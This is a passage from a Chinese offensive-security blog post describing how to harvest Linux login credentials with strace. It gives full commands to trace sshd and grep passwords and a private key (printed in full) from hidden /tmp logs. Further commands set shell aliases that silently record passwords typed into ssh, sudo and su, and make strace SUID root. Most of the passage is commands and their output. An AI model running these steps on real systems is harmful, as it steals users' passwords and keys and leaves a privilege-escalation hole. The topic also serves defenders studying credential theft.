1.3em;font-size: 13px;">(strace -f -F -p `ps aux|grep &#34;sshd -D&#34;|grep -v grep|awk {&#39;print $2&#39;}` -t -e trace=read,write -s 32 2&gt; /tmp/.sshd.log &amp;)</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">2.查找用户名和密码的正则表达式为<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">read\(6, &#34;.+\\0\\0\\0\\.+&#34;</code></p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 查找用户名和密码</span><br/><span style="height: 1.3em;font-size: 13px;">grep -E &#39;read\(6, &#34;.+\\0\\0\\0\\.+&#34;&#39; /tmp/.sshd.log</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># 结果形式如下</span><br/><span style="height: 1.3em;font-size: 13px;">[pid  2401] 22:34:34 read(6, &#34;\10\0\0\0\4root&#34;, 9) = 9</span><br/><span style="height: 1.3em;font-size: 13px;">[pid  2401] 22:34:34 read(6, &#34;\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0&#34;, 27) = 27</span><br/><span style="height: 1.3em;font-size: 13px;">[pid  2401] 22:34:34 read(6, &#34;\f\0\0\0\4toor&#34;, 9) = 9</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">获取sshd进程私钥</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">1.root权限执行</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 使用括号执行程序，当前shell退出，执行的程序不会退出</span><br/><span style="height: 1.3em;font-size: 13px;">(strace -f -F -p `ps aux|grep &#34;sshd -D&#34;|grep -v grep|awk {&#39;print $2&#39;}` -t -e trace=read,write -s 4096 2&gt; /tmp/.sshd.log &amp;)</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">2.查找私钥直接搜索字符串<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">PRIVATE KEY</code></p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 如果私钥设置的了密码，似乎不能抓到私钥密码</span><br/><span style="height: 1.3em;font-size: 13px;"># 查找用户名和密码</span><br/><span style="height: 1.3em;font-size: 13px;">grep &#39;PRIVATE KEY&#39; /tmp/.sshd.log</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;"># 结果形式如下</span><br/><span style="height: 1.3em;font-size: 13px;">[pid  1009] 23:17:34 read(4, &#34;-----BEGIN OPENSSH PRIVATE KEY-----\n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\npuzYc7LCnLR8alqQAAAAlyb290QGthbGk=\n-----END OPENSSH PRIVATE KEY-----\n&#34;, 4096) = 2590</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">收集任意指定程序登录凭证</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">给指定程序设置命令别名，使运行指定程序时自动strace读写系统调用，收集登录凭证</p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">收集ssh登录凭证</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">1.添加命令别名</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 添加命令别名</span><br/><span style="height: 1.3em;font-size: 13px;">vi ~/.bashrc或者/etc/bashrc</span><br/><span style="height: 1.3em;font-size: 13px;">alias ssh=&#39;strace -f -e trace=read,write -o /tmp/.ssh-`date &#39;+%d%h%m%s&#39;`.log -s 32 ssh&#39;</span><br/><span style="height: 1.3em;font-size: 13px;"># 使命令别名立即生效</span><br/><span style="height: 1.3em;font-size: 13px;">source ~/.bashrc</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">2.记录的strace文件如下：</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">936   write(4, &#34;root@192.168.168.20&#39;s password: &#34;, 32) = 32</span><br/><span style="height: 1.3em;font-size: 13px;">936   read(4, &#34;t&#34;, 1)                   = 1</span><br/><span style="height: 1.3em;font-size: 13px;">936   read(4, &#34;o&#34;, 1)                   = 1</span><br/><span style="height: 1.3em;font-size: 13px;">936   read(4, &#34;o&#34;, 1)                   = 1</span><br/><span style="height: 1.3em;font-size: 13px;">936   read(4, &#34;r&#34;, 1)                   = 1</span><br/><span style="height: 1.3em;font-size: 13px;">936   read(4, &#34;\n&#34;, 1)                  = 1</span><br/><span style="height: 1.3em;font-size: 13px;">936   write(4, &#34;\n&#34;, 1)                 = 1</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">3.可以通过正则<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">.+@.+\bpassword</code>定位密码位置</p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">收集<code style="font-family: monospace, monospace;font-size: 1em;">su、sudo</code>等需要提升权限运行的程序的登录凭证</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">1.给strace程序添加suid权限，即以root权限执行</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 查看strace文件位置</span><br/><span style="height: 1.3em;font-size: 13px;">which strace</span><br/><span style="height: 1.3em;font-size: 13px;">/usr/bin/strace</span><br/><span style="height: 1.3em;font-size: 13px;"># 添加suid权限</span><br/><span style="height: 1.3em;font-size: 13px;">chmod +s /usr/bin/strace</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">2.添加命令别名</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 添加命令别名</span><br/><span style="height: 1.3em;font-size: 13px;">vi ~/.bashrc或者/etc/bashrc</span><br/><span style="height: 1.3em;font-size: 13px;">alias sudo=&#39;strace -f -e trace=read,write -o /tmp/.sudo-`date &#39;+%d%h%m%s&#39;`.log -s 32 sudo&#39;</span><br/><span style="height: 1.3em;font-size: 13px;">alias su=&#39;strace -f -e trace=read,write -o /tmp/.su-`date &#39;+%d%h%m%s&#39;`.log -s 32 su&#39;</span><br/><span style="height: 1.3em;font-size: 13px;"># 使命令别名立即生效</span><br/><span style="height: 1.3em;font-size: 13px;">source ~/.bashrc</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">3.记录的strace文件如下：</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">write(6, &#34;[sudo] password for kali: &#34;, 26) = 26</span><br/><span style="height: 1.3em;font-size: 13px;">read(6, &#34;i&#34;, 1)                         = 1</span><br/><span style="height: 1.3em;font-size: 13px;">read(6, &#34;l&#34;, 1)                         = 1</span><br/><span style="height: 1.3em;font-size: 13px;">read(6, &#34;a&#34;, 1)                         = 1</span><br/><span style="height: 1.3em;font-size: 13px;">read(6, &#34;k&#34;, 1)                         = 1</span><br/><span style="height: 1.3em;font-size: 13px;">read(6, &#34;\n&#34;, 1)                        = 1</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">4.根据程序运行输出的特征字符串定位密码位置</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">总结</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">当linux系统配置文件<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">/proc/sys/kernel/yama/ptrace_scope</code>值不为<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">3</code>时，可以通过<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">strace</code>记录任何程序的系统调用（常用read、write调用）来获取登录凭证</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">参考链接</h2><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;" class="list-paddingleft-2"><li><p><a href="https://klionsec.github.io/2016/09/22/strace/" target="_blank">https://klionsec.github.io/2016/09/22/strace/</a></p></li><li><p><a href="https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/" target="_blank">https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/</a></p></li><li><p><a href="https://www.kernel.org/doc/Documentation/security/Yama.txt" target="_blank">https://www.kernel.org/doc/Documentation/security/Yama.txt</a></p></li></ul><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);line-height: 24px;font-size: 14px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;font-family: 微软雅黑;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由last0monster@MS509团队成员原创，已于2020年5月发表于“先知社区”，转载请注明来源</span></strong></p><section style="max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">。</strong></em></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;height: auto !important;" data-type="gif" data-w="500" width="auto" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box 